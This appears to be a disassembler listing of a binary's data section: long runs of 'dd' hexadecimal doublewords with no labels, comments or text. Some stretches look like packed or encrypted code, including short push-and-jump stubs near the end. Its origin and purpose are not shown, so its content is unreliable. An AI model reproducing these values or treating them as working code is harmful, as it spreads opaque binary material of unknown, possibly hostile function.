		dd 0C50A5A89h, 6CA13F54h, 13428231h, 0B91B699Eh, 61AE3166h
		dd 164DDE3Eh, 0FA2982D6h, 43F0296Ah, 295ED505h,	8EE1475h
		dd 9839814Ah, 38662994h, 0BB6F79F9h, 61ECFE4Ah,	67C47359h
		dd 235D0F33h, 0BDF4223Ah, 0A3EDE94Fh, 0CC49FB22h, 0BAA3FC50h
		dd 0DBB58A8Eh, 0F55087A8h, 6A160F9Eh, 0D5074538h, 0CC415268h
		dd 17C13573h, 0BA8F636h, 0D3F25612h, 7BAB795Bh,	74D30539h
		dd 0E95C8E1Fh, 72EB4697h, 0DE132B0Fh, 0F3F84EC2h, 8D5458BEh
		dd 0AB0255CBh, 413BAFh,	8ABE0000h, 437BDAD9h, 35738F7Eh
		dd 62F36A04h, 3A75DB45h, 7B8F5C42h, 0B6E72839h,	0B6CE4A24h
		dd 397B8FD4h, 412479D8h, 0CEB7EA2Fh, 0DE132B8Fh, 355CBC2h
		dd 3204A8A8h, 54208429h, 0B8348Dh, 99B90000h, 0BA88DAA9h
		dd 29296A8Bh, 1D009FFFh, 0A79E1143h, 332A89C9h,	478AFD5Dh
		dd 210495C6h, 1C4C3163h, 0B6D1B5E2h, 7433682Bh,	0A5A8926h
		dd 72EE57CCh, 2243C2C1h, 6822361Ch, 9B81B933h, 0E7336822h
		dd 909FB75h, 3AF1DAE0h,	0E7913574h, 0A0A3DCB0h,	0DFE99DA5h
		dd 0E39D3B85h, 0C15ABA62h, 0A9025292h, 0AC81906Ah, 0B363D226h
		dd 14FDh, 1443E032h, 0F92E7FD4h, 5C8B266Bh, 2350CD0Ch
		dd 8B3873A5h, 98F8A760h, 3C90D007h, 0E334B4E3h,	8FCF1D4Ah
		dd 4ACBE310h, 814A4E34h, 57DA5239h, 87C93666h, 3F4DFA14h
		dd 3D0B42DFh, 4096285Bh, 36A8E23Ah, 72ACDEE4h, 0D98AD4C5h
		dd 0C25A7BDAh, 65271E93h, 65B4E7h, 0FBC0C040h, 7435738Fh
		dd 4C3469A8h, 0C1392CDEh, 397B8FDFh, 0CE1529EDh, 8D5420A1h
		dd 0E11Bh, 38669E00h, 4E829AFBh, 583868DDh, 0AA055729h
		dd 86203BB3h, 0B0EE3367h, 8B7BC473h, 660A0F4Eh,	38E662B5h
		dd 582269DAh, 67E03C22h, 78AA4433h, 30154705h, 0B98487B0h
		dd 9CF93067h, 67E08066h, 0F2560033h, 0F8CAB3CBh, 1EC83573h
		dd 7FAEE13Fh, 1F48241Bh, 0ACEF311Ch, 352EFB7Fh,	295B75F3h
		dd 0ED0C7434h, 859334D5h, 3904F63Bh, 0C97F8BC9h, 0F50DF078h
		dd 3369DC0Fh, 0D3B7E193h, 5A2272AAh, 69DB3E24h,	66904233h
		dd 0CE61B331h, 0AC458589h, 0CE0C7926h, 13EDh, 2453D002h
		dd 893E6FA4h, 6C9B167Bh, 3360BD1Ch, 9BC863B5h, 88C89750h
		dd 2C60E017h, 0D30444F3h, 7FDF2D5Ah, 7ADBF320h,	814B5E44h
		dd 47CA2239h, 4EE53666h, 296FE03Eh, 0A3DD8FF6h,	2CC454A2h
		dd 0BB581536h, 0DABEF525h, 3866B465h, 52829AFBh, 344879D9h
		dd 0CA1A49E6h, 5D332A87h, 5471A6FDh, 5A608140h,	33678174h
		dd 0C4F6520Ch, 8CADA8ABh, 67E33C90h, 7389C65Fh,	2969B735h
		dd 0E29C8E8Ah, 0EF5ABD63h, 40C072ADh, 0B8FDDE56h, 0AE7ECB01h
		dd 0CF4C316Ah, 5BAD1B7h, 0F527D125h, 0CFCC7F8Dh, 9FFF214Eh
		dd 63000000h, 2F2711BEh, 0D54BC8BDh, 0A362F7Eh,	4043FC0Eh
		dd 0BD6575C5h, 25518C57h, 0F1CD371Dh, 6F994B2Ah, 0ACBCC2EBh
		dd 502CFB46h, 8086A7A6h, 2504B59Ah, 0A4F958E6h,	0F15183C1h
		dd 0A90654C8h, 77ACEA7Ah, 116BC2D0h, 1D14435h, 12F9h, 1047DC3Eh
		dd 0F5227BD0h, 588F2277h, 3F54C908h, 873C6FA1h,	94C49B64h
		dd 389CEC1Bh, 0DF30B0E7h, 8BCB194Eh, 4ECFFF14h,	814C5238h
		dd 5BC62E39h, 0D8578799h, 0C5232765h, 0A5271E95h, 768C898Ah
		dd 35738585h, 0AC3C6B05h, 64B71D6Eh, 0A6D153CAh, 0D9A2D8A5h
		dd 0F93B924Bh, 0BE1E0E0Fh, 1C48F86Dh, 3ABC78BEh, 7796F2FEh
		dd 4BCA69A9h, 6EE24AFBh, 351DD9FFh, 0F35482C2h,	7EDF09A0h
		dd 503069AEh, 8380B331h, 58BB6582h, 382C5CC1h, 3374F152h
		dd 0CBB2EF22h, 0B59D4F99h, 0B7856E94h, 6B05358Bh, 4FE432EAh
		dd 158AC818h, 5787B030h, 7C37492Fh, 7DAF5939h, 0E87C2210h
		dd 2B416D2Ah, 0C0E10E2Fh, 0BFA7F85Ch, 397C6CD9h, 0D8F3FA9h
		dd 140FC329h, 9AC7FF5Bh, 783B881Bh, 4651498Eh, 60D526AEh
		dd 1214B2h, 0B8F75B00h,	796FD0Bh, 0E03D90D0h, 49E435B3h
		dd 118ACA1Ah, 0E1BE7FE2h, 0B9C77CAFh, 5DABD853h, 0F474A3FAh
		dd 24DA09A6h, 4D371D25h, 0E34B3981h, 0E536667Eh, 5D437B98h
		dd 25336781h, 478CF4Bh,	9D83BB6Bh, 0E5336781h, 467CD90Bh
		dd 3573972Dh, 720A73EDh, 336EA324h, 0C4125281h,	0C492C86Dh
		dd 97C14B97h, 3C5558B6h, 0E776079Dh, 0B5E66263h, 5AAFD7B6h
		dd 683B880Fh, 487E9FFEh, 3367F262h, 0D64FE432h,	0AAAE58AAh
		dd 0C49A389Bh, 0A9DE5585h, 868784B7h, 74086780h, 0C4B92B35h
		dd 50356AA8h, 0DE47D83Ch, 6BD24F8Eh, 6578CE24h,	0EF4214FEh
		dd 0A8DEBFBCh, 3B87FD8Fh, 0B2326113h, 0E056CF64h, 336802FEh
		dd 0C2035BBFh, 0EE3E1F94h, 5D0F76ABh, 94C202F5h, 89BA261Fh
		dd 46738B8Ah, 0CC3573FEh, 0DD40D93Eh, 0C107DAFh, 947A80CCh
		dd 0EC397BFDh, 8F40C072h, 5E09DBD6h, 29CAF05Dh,	0F93B92C4h
		dd 153010Fh, 5D3FB7AEh,	0CD33753Bh, 97B49192h, 0A579FBA7h
		dd 162C472Fh, 33754F30h, 0EC548670h, 8C1613D4h,	98E59735h
		dd 7FDB5484h, 3F90CE5Eh, 0ADDF46D9h, 5684C473h,	8A0EF40Ah
		dd 0CC92397Bh, 0B7E1138Ch, 0AB0856D6h, 0DDF0DB7Bh, 0AC94A956h
		dd 699FB95h, 99E6DFC1h,	24F26320h, 10B5h, 0EC1B98FAh, 0B1E6379Ch
		dd 1443DE33h, 0FB2885D4h, 43F02B6Dh, 5080DF18h,	0F458A8DFh
		dd 9BFC0CBBh, 4797D502h, 8283BBE8h, 814E967Ch, 9F02EA39h
		dd 10363666h, 3367812Ah, 0F0EA8A54h, 0EA64664Ch, 79B2E278h
		dd 2B2A4404h, 690EF40Ah, 0E0923368h, 151AF60h, 187DA3A2h
		dd 853766A9h, 0AAE884BDh, 0C4B9F459h, 0ACF36A84h, 81D1F046h
		dd 6B88F522h, 684E344Ah, 0A0523368h, 6868D6BCh,	5838AA33h
		dd 40F9B7F4h, 1576187h,	66F40000h, 0EA82FB38h, 6CC077ACh
		dd 34553033h, 966248C6h, 0DABEA2D2h, 744E99AAh,	85BDDA35h
		dd 397C2D9Fh, 2E04EA10h, 0E29C397Ch, 53B6E690h,	45FEFBBDh
		dd 0C3C25838h, 7B92D5BBh, 3C6FA139h, 1FC91B49h,	200278EDh
		dd 6C397B92h, 0F28AF32Ch, 79170EA3h, 1BBF9813h,	3E922E43h
		dd 3F8E2328h, 4BBB8D54h, 1F3B839Dh, 2BBF9B94h, 35h, 0DAD98A4Eh
		dd 8F7E437Bh, 6A043573h, 8F997BF3h, 76A7397Bh, 513465B6h
		dd 0BB933713h, 0A4578575h, 54707205h, 0F4B4A906h, 551AFE5Ah
		dd 0C78D54B5h, 8Bh, 0FB38666Ah,	71AAEA82h, 8D22700Ch, 1996C498h
		dd 86617CEAh, 0E9293367h, 70231D4Ah, 9DEC1273h,	0D235712Ah
		dd 21A78DB5h, 9FB397Eh,	0E4611309h, 1047D838h, 0D20380D0h
		dd 0BAE62D5Fh, 8C2097FFh, 0F43F919h, 26680000h,	0C50A5A89h
		dd 6CA13F54h, 13428231h, 0B91B699Eh, 61AE3166h,	164DDE3Eh
		dd 0FA2982D6h, 43F0296Ah, 295ED505h, 8EE1475h, 98398151h
		dd 36662994h, 0E03E4EE5h, 92DDB41h, 0CD13FE33h,	70301588h
		dd 660091C6h, 0EA82FB38h, 0BBF65BACh, 3F5486C2h, 118ACE5Eh
		dd 0A147C2Ch, 72EE57CCh, 3B43C2C1h
		dd 35738316h, 39C572ECh, 818h, 0E53666F4h, 81280A80h, 0EF983367h
		dd 0A05961ECh, 22357E47h, 68B4D5B0h, 0DD8FF627h, 346BAB75h
		dd 0FC82D749h, 8147E0C6h, 8436A039h, 0DD3D4BBCh, 0AE7EDF46h
		dd 18483D6Eh, 7DAEEE38h, 94DA00D6h, 23F36220h, 0E8Dh, 843370A2h
		dd 699E0F44h, 0CC7BB61Bh, 93C05DBCh, 7BA80355h,	286837F0h
		dd 0CC0040F7h, 73A42453h, 1F7F8D3Ah, 0DABB5380h, 8150BEA4h
		dd 0E76AC239h, 98E53666h, 0F7F10FAAh, 5F3B6F17h, 0E53A98E8h
		dd 71AEEC80h, 0D569410Ch, 4CC966B4h, 0BFFA9DFEh, 225EC75Ah
		dd 1AF22EF2h, 0EC81C93Eh, 0AC87408Bh, 20h, 558799C1h, 31467EDAh
		dd 0F133678Ch, 0FFFDEED5h, 0E28674FFh, 326FA2DDh, 60ED194Bh
		dd 1FDABED4h, 0C5548799h, 50CD0C60h, 257AD826h,	40h, 3367811Eh
		dd 73D2D182h, 7E477A4Bh, 0FF5E0835h, 5B2F121h, 251897C7h
		dd 896F97B4h, 19398147h, 0DB3DEB6Fh, 0DA230340h, 0CE472094h
		dd 0DC800h, 74ABEF00h, 0D34A81DFh, 0BCF124A4h, 598F907h
		dd 0ED3E9EEEh, 0B5EA2BB6h, 4D9BC863h, 0E17F9407h, 0B8C87FAEh
		dd 0F0AEC55Ah, 51836991h, 171F3981h, 558799AAh,	212163DAh
		dd 0F71A97C7h, 5FA4FF6Dh, 67F96C9Eh, 839DF837h,	4D74DC53h
		dd 8896A802h, 0D5AA9BAh, 0C3479D87h, 9BEF525h, 407FACC1h
		dd 156C87h, 80810000h, 33678C6Bh, 8BF8DEE4h, 0DE883367h
		dd 0FD25E0ACh, 8A2DFFFFh, 5A7BDAD9h, 0AF736BECh, 0D7B3F9DFh
		dd 73C492AFh, 0DA3DE335h, 0AAAEDA43h, 3E9F8670h, 0FF5F81C0h
		dd 6C1C0198h, 0A7F30D30h, 0FCC2A3A3h, 0A8E397Bh, 0A9822F34h
		dd 0BF8F8D54h, 8EF18B3Fh, 0EA4388CBh, 83873173h, 2002Fh
		dd 87994200h, 0C9DF251h, 59396B19h, 67815729h, 52CA4B33h
		dd 0BBA6A2FFh, 77DA2D6Dh, 0D5B883Ah, 851C7ACDh,	1434D728h
		dd 130AA4D3h, 0E8CEF451h, 0B8336822h, 31A99CCEh, 336822B7h
		dd 81628CAh, 22EDD3EBh,	0DBB53368h, 3271A17Fh, 0FAFFAB85h
		dd 76ADED83h, 0DC5383C1h, 235FF169h, 0E9AD3368h, 0D0610E55h
		dd 96DB8740h, 5E000001h, 82FB3866h, 0C077ACEAh,	5530336Ch
		dd 73921C2Dh, 513CAE35h, 91240A30h, 827C397Bh, 25077F86h
		dd 2B397B91h, 89D73AE2h, 7B918B71h, 0CB651739h,	8D93AB4Fh
		dd 9170566Ch, 4630397Bh, 3F511EC2h, 3ACB8D54h, 6E000000h
		dd 7BDAD98Ah, 738F7E43h, 0F36A0435h, 7B8F997Bh,	4976A739h
		dd 7B8F4B31h, 0DDA55739h, 91DE2539h, 0BE8D5420h, 89FC2D6Eh
		dd 0E1EB7FDBh, 0A2000000h, 0A98B6154h, 307C97Fh, 0FB3866B6h
		dd 71AAEA82h, 3C918F0Ch, 44CC7CE1h, 0CB0B7CDAh,	0C55B3A54h
		dd 83E1F8Eh, 33678122h,	7D848C7Eh, 0BC7EB3E3h, 351B2342h
		dd 4D33684Ah, 30306393h, 0AB9BC87Ah, 336807F8h,	0A4F75886h
		dd 0C1A4F759h, 0CB0B5183h, 1B3F154h, 0CECD7ED2h, 9BE8374Fh
		dd 7193571h, 6C2B5BD6h,	0E2BB2CD3h, 0B527F55Dh,	0AD93ABC8h
		dd 6397E65h, 7E651A00h,	7AF46639h, 8F758D88h, 13397E65h
		dd 24F8E161h, 6C5268F4h, 34397E65h, 6DFB285Ah, 953F02Bh
		dd 0FD2097BBh, 0B7F4A88h, 62B40000h, 15696CDh, 0A8ED7BA8h
		dd 4F8EDE75h, 0F527A5D2h, 25E20DBAh, 52811A7Ah,	366DBE12h
		dd 9F3465B6h, 65921141h, 0CCB2C849h, 0D4398153h, 3666DD40h
		dd 4F8498E5h, 47857ADEh, 4E6B9817h, 10EAA999h, 0CF288AAh
		dd 91DE61D0h, 848C1AF6h, 0D2E53C9Ah, 9A6F42Dh, 4D385414h
		dd 93DD58Eh, 0D0EC7E4Fh, 170974A6h, 0DAEB6FC2h,	3970A37Dh
		dd 0E23C0444h, 6C87FB4h, 448h, 5287998Bh, 0D1E966DFh, 336781EBh
		dd 7BABC5B7h, 1920B108h, 368F8BEFh, 0BCBFE83Ah,	1B05A9D1h
		dd 0EF99357Fh, 0FD95906Eh, 0F4F3966Dh, 150B628Ch, 0B5F76EC5h
		dd 0CDB5E437h, 8E8F8CBFh, 8D1CFF78h, 2B53703Bh,	33751E45h
		dd 75A7A35Dh, 4A2CA29Bh, 5233751Eh, 0D3508EFFh,	70A0BCA1h
		dd 1723463Fh, 3A9E223Fh, 0CB92DF24h, 9E0A874Dh,	0AF000003h
		dd 67819E80h, 81290833h, 0FA953367h, 0D9669CF9h, 7935739Fh
		dd 8114488Fh, 9F16209Ah, 0A747Fh, 0D857BB00h, 0A7F65DABh
		dd 9DF070h, 0E94495D3h,	0B1EA2ABAh, 411EDF02h, 19679C0Fh
		dd 0BDCB78B3h, 5494C35Ah, 447AA906h, 54D7BDC5h,	43AB3981h
		dd 0FB3866DEh, 56550682h, 556D6F7h, 97F3B194h, 7E47CA6Fh
		dd 79AE5835h, 84C80814h, 8147987Eh, 0CC7EE839h,	6053644h
		dd 79B41907h, 0DDFC4404h, 0D13260BCh, 8AF32D80h, 0B14A7ADEh
		dd 713B980Dh, 61998687h, 3367817Bh, 0CCED5507h,	74A3FC50h
		dd 67805812h, 8B8AB833h, 55C80C5Ch, 0D49EBE6Eh,	5AFBAA42h
		dd 0B3A0B79Bh, 1E6ED701h, 8EFA63C0h, 29FF2DDh, 804D75D0h
		dd 2357404h, 7749FF52h,	1F491085h, 9A1B7AF8h, 9939AC20h
		dd 9B5h, 0EC1B98FAh, 0B1E6379Ch, 1443DE33h, 0FB2885D4h
		dd 43F02B6Dh, 5080DF18h, 0F458A8DFh, 9BFC0CBBh,	4797D502h
		dd 8283BBE8h, 8155967Ch, 9F02EA39h, 5DD8D98Ah, 346BABE9h
		dd 0D2931298h, 1B7BA5A0h, 99CB64A8h, 1687C8A4h,	457D9CE4h
		dd 357F05ACh, 8F91FC6Eh, 23A1D649h, 4DD3B2EDh, 8EB7930Ah
		dd 0E3626112h, 0B79DA5C2h, 0CB3980F9h, 64093919h, 3E3B97BFh
		dd 3F81679Fh, 57013368h, 33B5825h, 33683F1Dh, 3F8A7096h
		dd 64163368h, 0E91878EAh, 4ACBC87Bh, 3F2F152Dh,	187F3368h
		dd 0B8857781h, 683F9C82h, 0E0AE433h, 4ACAD7EFh,	9E483574h
		dd 99EB1179h, 12C03520h, 8F9h, 1047DC3Eh, 0F5227BD0h, 588F2277h
		dd 3F54C908h, 873C6FA1h, 94C49B64h, 389CEC1Bh, 0DF30B0E7h
		dd 8BCB194Eh, 4ECFFF14h, 81565238h, 5BC62E39h, 8871A999h
		dd 0F27F0613h, 0B7E74FD1h, 60E0CE5Eh, 62DB5886h, 0EE57CC0Ah
		dd 0D2F34BAFh, 52F82F84h, 87412E1Dh, 1A89Fh, 87991200h
		dd 2765D857h, 813A2026h, 94463367h, 0EEED9EACh,	9D86576Fh
		dd 6A043573h, 9D997BF3h, 0F3A7397Bh, 4B5B105Bh,	7ADD8D54h
		dd 50000001h, 0DA558799h, 7ADB2163h, 95C52327h,	58B6271Eh
		dd 633B73B7h, 0F246C524h, 0E66F7894h, 757D1B1h,	0ACDE4F84h
		dd 831E7FA1h, 1F053D9Ah, 6333683Ah, 0CC347F1h, 0E5666710h
		dd 7226C94Ch, 0B399A1ACh, 0CF33687Dh, 5C62E31Dh, 35748E4Bh
		dd 0F1D7EF0Ch, 0B1397C6Dh, 3FA943C7h, 6DEED046h, 5DBE397Ch
		dd 6E01E71Fh, 0D781397Ch, 69ACC0A5h, 0DF3F5134h, 1CAFDD40h
		dd 7D4DA0B6h, 65BB85D9h, 0C785F833h, 1AD29F43h,	0DEFF8D55h
		dd 7C65C2A8h, 242CDE39h, 25B0h,	47978900h, 8AED68E8h, 437BDAD9h
		dd 35738F7Eh, 7BF36A04h, 397B8F99h, 105BF3A7h, 8D54215Bh
		dd 9EDDh, 38665000h, 0F41582FBh, 6781E8CEh, 4ACEB833h
		dd 3A237CDCh, 0C6BFF422h, 0E21868B6h, 336781FCh, 0BB8EA84h
		dd 679D501Bh, 3E9F8133h, 59B967E3h, 80B3ADDAh, 2D7C8283h
		dd 51357142h, 1646A6A7h, 0BE1E6E85h, 6D9F0E41h,	97E7D426h
		dd 0FF1F9620h, 765h, 0BCEB488Ah, 1B6E72Ch, 0E4138EC3h
		dd 4BF83564h, 1340DB3Dh, 500FC8h, 0A4E878AFh, 4B8CDC0Bh
		dd 0F727A5D2h, 0F2530BB8h, 8157E6CCh, 0CFB2BA39h, 98E53666h
		dd 7EDA5384h, 841B7B89h, 0B9C1EE6Fh, 336781D3h,	6FAF3DAFh
		dd 66855030h, 2B80D738h, 13F08218h, 41F32D7Dh, 0DD5280DCh
		dd 452B5370h, 5D336823h, 0AE50A7A3h, 3Ch, 2100C163h, 8114FA00h
		dd 0F26C3367h, 0C8CB6496h, 9DF02C4Dh, 0EB6F1D00h
		dd 7E4838DBh, 3218CA35h, 0D6814D83h, 0E63792F9h, 6496D24Bh
		dd 8D334BCAh, 153B980Dh, 36F9157Bh, 34000000h, 7BDAD98Ah
		dd 739D1643h, 302FC35h,	0E266BD1Dh, 8C5C6BE3h, 0E3A7D2ACh
		dd 0A6A5D64Bh, 9B1279A7h, 3B689EBFh, 0C72F5F8Fh, 0E045D839h
		dd 3DC176A0h, 0A4h, 0DAD98AF0h,	47A2437Bh, 0F660357Eh
		dd 50D17F66h, 0D29FE47Ah, 4A8D59D8h, 7Ch, 1FF5F343h, 0B6BB50C3h
		dd 6F9FC962h, 0AC92467Eh, 7DF858F4h, 7BDAD98Ah,	7E479F43h
		dd 65F16335h, 7951D27Ch, 0D8D19EE5h, 0FE8D59h, 0E625532Dh
		dd 8B5BB6E6h, 842B5E1h,	3DD48888h, 59000000h, 55CFA999h
		dd 81A239B5h, 0DBD88B81h, 1AA1447Ah, 8B65357Fh,	0EACC027Bh
		dd 7C1075A6h, 0E29E8718h, 7FE6379Ch, 0FE71ACE1h, 90C30254h
		dd 0CA20EF19h, 44426F74h, 0DFA8D59h, 7F000000h,	679B4B80h
		dd 29771733h, 0BAFFFFFFh, 7BDAD98Ah, 7E474E43h,	0E35A3435h
		dd 48353661h, 980D8C32h, 556143Bh, 0ACB87894h, 8E55AAFAh
		dd 0B468E95Ch, 7F9CC865h, 29557BB6h, 0A8DBF151h, 0ACDE5187h
		dd 0A0B099A1h, 20D2357Eh, 594FB25h, 0C2C172EEh,	0E6A23B43h
		dd 8D933B97h, 0B973D746h, 7DDE4ECFh, 0BA8FF72Ch, 3BAB4183h
		dd 0E4EF64CBh, 77D307C9h, 9DCA69A9h, 58BC0F4Fh,	1174ABEBh
		dd 96F72153h, 0C960B769h, 4A301454h, 56CB8D88h,	27A5DCA4h
		dd 0F0167774h, 0CD99A79Bh, 54C8B527h, 99A8A805h, 87C6983Ah
		dd 8D7DD857h, 0FEEA79F2h, 0C93E1AA6h, 5CC158BBh, 0EB52CB00h
		dd 72EB4295h, 0FC61BA1Ah, 9CD1652Dh, 0D967FF5Bh, 354D1147h
		dd 0D19A6D4Fh, 1377A153h, 3C6BC215h, 4B326BACh,	13783E92h
		dd 98CA67B6h, 1689CBA5h, 0B48A602Fh, 5E86DABBh,	0E31DA6DFh
		dd 11F3C99h, 3E95DD0h, 9FD199A1h, 6DC165EDh, 0FA0FB5Ch
		dd 5676835Eh, 66BB1A60h, 0E4134DFFh, 0DCDF8A37h, 68C71769h
		dd 4DDC33EDh, 99A8A8D8h, 0FB41B1DEh, 0E0A569ADh, 6822083Eh
		dd 8C7E3368h, 0FC52F652h, 7ED1532h, 9B336869h, 265369E9h
		dd 68EAD0F6h, 0E8B63368h, 56120BA4h, 0F5D8A24h,	474A52CFh
		dd 0B98EFFBCh, 4986FF0Fh, 0BFCE6032h, 2445C05Fh, 6821381Eh
		dd 0BA9E4833h, 1089CE9Ch, 21CFB52Dh, 7DDF3368h,	0F2253B22h
		dd 216C5268h, 5A343368h, 806A3528h, 32D0B3AEh, 77A6ED1Ch
		dd 6FA17FC0h, 326FAE3Ch, 0EF39194Bh, 92087DACh,	336821B1h
		dd 0A7DFFC59h, 336821C1h, 7EE717C1h, 9BD0A2A7h,	658FC44h
		dd 0EE0594C7h, 685BDF78h, 27478333h, 918740C9h,	0FFFFFF45h
		dd 54879904h, 820AF016h, 0E4963367h, 0B191D34Ah, 5B882777h
		dd 656CD0Dh, 49851A78h,	55C867B7h, 0E25BD63Bh, 62A3BB9Fh
		dd 0D98BF22Fh, 57EF43AFh, 0C54BE836h, 401300ADh, 0BC130D87h
		dd 3248F86Dh, 15C949E2h, 58h, 0B2A99998h, 3C955270h, 3A5567E3h
		dd 80265C39h, 357E4Ch, 1480E654h, 0F123E359h, 0FF072465h
		dd 3980CC19h, 0C54FFF69h, 4DDA1B08h, 84CDB49Ch,	67BA8CA0h
		dd 30563734h, 3B98378Ah, 0D8BEC4E5h, 0A83367B7h, 16C05A3Eh
		dd 0A265D538h, 0A65B8A8Fh, 47B11979h, 7C000000h, 7BDAD98Ah
		dd 7E479D43h, 71A76535h, 306DA03Eh, 91ED1F4Dh, 74A9EC30h
		dd 8EF75311h, 1EEC613Eh, 401616Dh, 0D276D27Bh, 7A44B27Ch
		dd 6FA9E0A5h, 0D49BD0F9h, 285AA332h, 62611228h,	2435DBE3h
		dd 13CD3B98h, 38667C3Dh, 0ACEA82FBh, 336CC077h,	81F5DBE3h
		dd 0D18D3367h, 6A509024h, 3E689A7Ah, 22083E5Fh,	7E33680Ch
		dd 5D65848Ch, 35741D4Ch, 0B8190CFEh, 9FFB3464h,	7C1C8567h
		dd 55C80939h, 0E7389CF0h, 7EE73699h, 0A3B13F7h,	0E0386AC7h
		dd 26141A2Ch, 88CF005Fh, 9A7EDA69h, 8D5455D5h, 5247h, 76A64600h
		dd 8A905D25h, 5A7BDAD9h, 0C31992C2h, 0D351D8Ch,	35738F48h
		dd 3DB5A85Ah, 397B8F5Bh, 9CBEF323h, 0D15E1248h,	0EB85F82Ah
		dd 321174ABh, 1FA3BE90h, 1358A3BBh, 308D550Ch, 7705EB13h
		dd 586E397Ch, 397C7672h, 50025C0Eh, 1257CF0h, 66F10000h
		dd 0EA82FB38h, 261471AAh, 0C01C6C92h, 0EB449452h, 0D4A8D9B9h
		dd 0F2C2986h, 687B11F7h, 0E03B9D33h, 0C3BDCF7Dh, 61D13E47h
		dd 0CEC23ED2h, 0E03E1A79h, 1A7EAEB2h, 78EC9C81h, 33679292h
		dd 95C27CEEh, 8D738BA8h, 15336792h, 0CCE71F7Bh,	42336797h
		dd 18689F14h, 800065BAh, 4869D4D7h, 962D132Bh, 9B753367h
		dd 0BB7687BFh, 0C6E73573h, 7BB2DAC0h, 0B634A639h, 1454C962h
		dd 0D70CFE2Ch, 4CC9CA65h, 0B231172Fh, 8771397Bh, 8D7D9A83h
		dd 18913EBBh, 5A6AEECEh, 3B85C011h, 0FE042542h,	3369BF18h
		dd 0A086FE68h, 0E03369BFh, 0BCA1FA5Ah, 0CD0C528Ch, 483AF050h
		dd 42957DCDh, 0A926E597h, 0E435C87Dh, 3F1B3C11h, 5DCE0E1Eh
		dd 0F2EB02F0h, 0DF06DBFBh, 1444847Bh, 95207C9Bh, 0D34226ACh
		dd 1A803h, 148BCF00h, 0F32A61FFh, 5CD10444h, 2578D927h
		dd 8D1E7E8Eh, 95CA0B56h, 2DBBE843h, 0C11FB4E7h,	98E81F8Eh
		dd 904EE53Ah, 5DA389B1h, 77FF3981h, 0E536668Ah,	43E03E4Eh
		dd 96DB2B14h, 3880D217h, 99C18CF4h, 7ADE5187h, 29141740h
		dd 738F4C11h, 1B7BA535h, 0FC6EBC84h, 0DD4C8F91h, 858C3868h
		dd 0E2984522h, 0CB4342C6h, 397BB4E9h, 57CE65B5h, 0E045D839h
		dd 84D96D95h, 70BE9004h, 533768ACh, 5445C2EFh, 0B17A8Dh
		dd 66FF0000h, 0EA82FB38h, 0A7F65DAAh, 0ED5082BEh, 67865A75h
		dd 2D82D033h, 0A72876F6h, 0D4453877h, 6785C8AEh, 0FC2ED833h
		dd 3E69DB42h, 192A503Dh, 0A93573AAh, 0FB94883Fh, 51839DF8h
		dd 5D2567DEh, 455A063Ch, 4C3E3B85h, 8EFD5FC1h, 72A1D350h
		dd 0CA09A2F2h, 26AC1344h, 0C28F4FC6h, 0E9000000h, 8BD90EA5h
		dd 2EBED544h, 0C301B6EBh, 98E81F92h, 2DB0E738h,	0C25DBFE0h
		dd 0AE015795h, 71A8EB79h, 0DF5482C2h, 6F97F6A8h, 39815E89h
		dd 99A81519h, 3B74A478h, 381E0642h, 48336781h, 2C6CBA9Eh
		dd 458A92F3h, 4D9B6CD4h, 3626940Dh, 0B05848D4h,	66C0D106h
		dd 829AFB38h, 4B7ADE53h, 194EE535h, 0C6091734h,	8209EF57h
		dd 0EF993367h, 0C65DBD6Bh, 0AC035391h, 0D2D241B9h, 0C4A957E4h
		dd 0D8B8F558h, 0B3E32234h, 59B9C77Ch, 73A57BDAh, 3074538h
		dd 0F62B6A02h, 0D7468997h, 23C75273h, 2B9CFA0Bh, 9DCFB6E9h
		dd 66B43463h, 128654C9h, 0B000000h, 0C3091786h,	5E64F568h
		dd 33678178h, 242C5E08h, 0FF3466A9h, 0BA8F686h,	80197A12h
		dd 128DC39Dh, 0A803552Bh, 2679DBB5h, 0BDF0213Fh, 0CC61B4C8h
		dd 59D00759h, 8953B3E4h, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 240C895Ch, 49CC68h, 240C8900h, 5E08950h, 4, 42Dh, 24048700h
		dd 241C895Ch, 0C80EBE56h, 59560619h, 1C8B545Eh,	4C48124h
		dd 51000000h, 22243481h, 8F1DD970h, 0B9510843h,	8, 3181D901h
		dd 1DD97022h, 2434FF59h, 4C4815Bh, 8B000000h, 8956240Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 6493E95Ch, 1157FFFBh
		dd 264592BDh, 0D765FE97h, 19DE76B8h, 0FFC50306h, 1A715E0h
		dd 0CA336B72h, 9EAC3626h, 993D260Bh, 53E93Eh, 832D0000h
		dd 5151h, 1C570000h, 48434AC5h,	0ADF93661h, 8C88A7A5h
		dd 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 0C7009D89h, 63921DF4h
		dd 0DE1960h, 9 dup(0)
		dd 0AD0E900h, 70680000h, 0E90619E0h, 0FFFAA15Ch, 19E1C168h
		dd 0A152E906h, 0C568FFFAh, 0E90619E2h, 0FFFAA148h, 19E38A68h
		dd 0A13EE906h, 4268FFFAh, 0E90619E4h, 0FFFAA134h, 19E50D68h
		dd 0A12AE906h, 0B268FFFAh, 0E90619E5h, 0FFFAA120h, 19E78168h
		dd 0A116E906h, 9068FFFAh, 0E90619E8h, 0FFFAA10Ch, 141893B3h
		dd 0FF037A8Bh, 0E4286560h, 0D2564D7Bh, 0B77B3655h, 93B20034h
		dd 808D1A1Eh, 6A660105h, 4A7CEB2Fh, 5FA2CF53h, 0E94D63DEh
		dd 6953E055h, 0E01B6180h, 0DAB23147h, 39B4CA49h, 0AE109069h
		dd 5F2E5D41h, 2DBA7E2Dh, 0F068601Bh, 0D7506B11h, 4FC33842h
		dd 2F9AB195h, 0C3F6B38Eh, 0C64C305Fh, 1FFA8AE5h, 94D73E45h
		dd 3749060Ch, 2527C044h, 0FDE4676h, 3DE54279h, 7145EF00h
		dd 4851DEEAh, 2E8195Ah,	0AA01173Bh, 0EF401FE8h,	0E1659D97h
		dd 0E562861Eh, 9CAE1E5Ch, 928h,	8084F717h, 73B7E6E7h, 58DCD9F4h
		dd 46CAC1CFh, 33F7AAD9h, 0F3E84A8h, 0F4118E92h,	0DEEA75B9h
		dd 0BEC05FA3h, 0D32E4BCFh, 0E972E752h, 0EDD77C55h, 6366567h
		dd 0D0544779h, 102B51B0h, 18C12940h, 171D51C4h,	5B470B94h
		dd 5FA849DCh, 70C36C32h, 0F355E4DBh, 5536B8Fh, 54C0CBEBh
